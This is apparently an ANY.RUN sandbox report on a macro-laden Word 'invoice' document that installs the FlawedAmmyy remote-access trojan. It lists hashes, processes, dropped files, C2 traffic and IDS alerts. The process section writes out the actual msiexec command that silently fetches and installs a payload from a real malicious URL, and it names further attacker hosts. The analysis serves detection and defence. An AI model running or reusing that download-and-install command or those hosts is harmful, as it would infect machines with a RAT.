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File name:

인보이스 18-02-2019.doc

Full analysis: https://app.any.run/tasks/3e3caeea-4d99-471b-b5ab-7d2383e920f7
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Analysis date: February 19, 2019, 13:11:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
exe-to-msi
rat
flawedammyy
ammyy
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 20:06:00 2019, Last Saved Time/Date: Mon Feb 18 20:06:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 137, Security: 0
MD5:

28FE7E549231AC516A730FB96BEB7069

SHA1:

2B26248B07A1279104A92A13D227CA1A9DE777B6

SHA256:

E255C51E4311E02A000FF9BBDA7C385C5FDCB52FACB127C8DB19BDD6FC0CCE6C

SSDEEP:

768:IpMLELemEgZnQgW5tmhdMgNMVkLRaEOrlEJ6mhp:ILLemXZQgW5IYgNlHJ6mh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2984)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2984)
    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 2724)
      • wsus.exe (PID: 3572)
    • Loads the Task Scheduler DLL interface

      • MSIFAF1.tmp (PID: 3864)
    • Loads the Task Scheduler COM API

      • MSIFAF1.tmp (PID: 3864)
    • Changes the autorun value in the registry

      • MSIFAF1.tmp (PID: 3864)
    • Connects to CnC server

      • wsus.exe (PID: 2724)
    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 2724)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3700)
      • MSIFAF1.tmp (PID: 3864)
    • Creates files in the program directory

      • MSIFAF1.tmp (PID: 3864)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3700)
    • Creates files in the Windows directory

      • MSIFAF1.tmp (PID: 3864)
    • Starts CMD.EXE for commands execution

      • MSIFAF1.tmp (PID: 3864)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2984)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2984)
    • Application was dropped or rewritten from another process

      • MSIFAF1.tmp (PID: 3864)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3700)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3700)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: 1
Subject: -
Author: 1
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:02:18 20:06:00
ModifyDate: 2019:02:18 20:06:00
Pages: 1
Words: 23
Characters: 137
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 159
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 1
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs msiexec.exe no specs msiexec.exe msifaf1.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2984"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\인보이스 18-02-2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2352"C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://blossomtel.com/~mgarrett456/logo /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3700C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3864"C:\Windows\Installer\MSIFAF1.tmp"C:\Windows\Installer\MSIFAF1.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
2724"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSIFAF1.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Version:
1.18.2.51920
3888"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIFAF1.tmp >> NULC:\Windows\system32\cmd.exeMSIFAF1.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3572"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exetaskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
3732"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIFAF1.tmp >> NULC:\Windows\system32\cmd.exeMSIFAF1.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 266
Read events
824
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
6
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
2984WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE999.tmp.cvr
MD5:
SHA256:
2984WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF88FBC8A38DD050E9.TMP
MD5:
SHA256:
2984WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFBF5AFAC8836F7EE0.TMP
MD5:
SHA256:
2984WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF3D4BF98861BC4DB6.TMP
MD5:
SHA256:
3700msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFDD04D47EA571831A.TMP
MD5:
SHA256:
2984WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:D9DCC38FFD75DA572AA4273A51C83631
SHA256:1CA44A908912FB158432FBE791C2ED0AC78FC9A1A444B52FE899C4FCA1DC959A
3700msiexec.exeC:\Config.Msi\20f9d7.rbs
MD5:
SHA256:
3700msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF6252E7E55DE30AC7.TMP
MD5:
SHA256:
3700msiexec.exeC:\Windows\Installer\MSIFA43.tmpbinary
MD5:D959BE6FCF9F56FC49F2402DDFC97160
SHA256:3948413731F6CDA6CC82B0843A63990EFCFAC2F805890D80BB64DA332DA73F99
3700msiexec.exeC:\Windows\Installer\MSIF5DD.tmpexecutable
MD5:C19F4137DA7C2D9E5A6A26EFE3FC0F9A
SHA256:10987FB8AB8275F9DE9B8F4F1434CAC08D03B659BF69F81FDB5659F7A0253079
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3700
msiexec.exe
GET
107.152.63.32:80
http://blossomtel.com/~mgarrett456/logo
US
suspicious
3864
MSIFAF1.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat1.omg
RU
binary
657 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3700
msiexec.exe
107.152.63.32:80
blossomtel.com
Blossom Telephone Company
US
suspicious
3864
MSIFAF1.tmp
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
2724
wsus.exe
185.99.133.2:80
Zappie Host LLC
NZ
malicious

DNS requests

Domain
IP
Reputation
blossomtel.com
  • 107.152.63.32
suspicious

Threats

PID
Process
Class
Message
3700
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3700
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2724
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
2724
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
2724
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
2724
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSIFAF1.tmp
C:\ProgramData\Microsofts Help\template_35e330.DATAHASH
MSIFAF1.tmp
--End Dowload--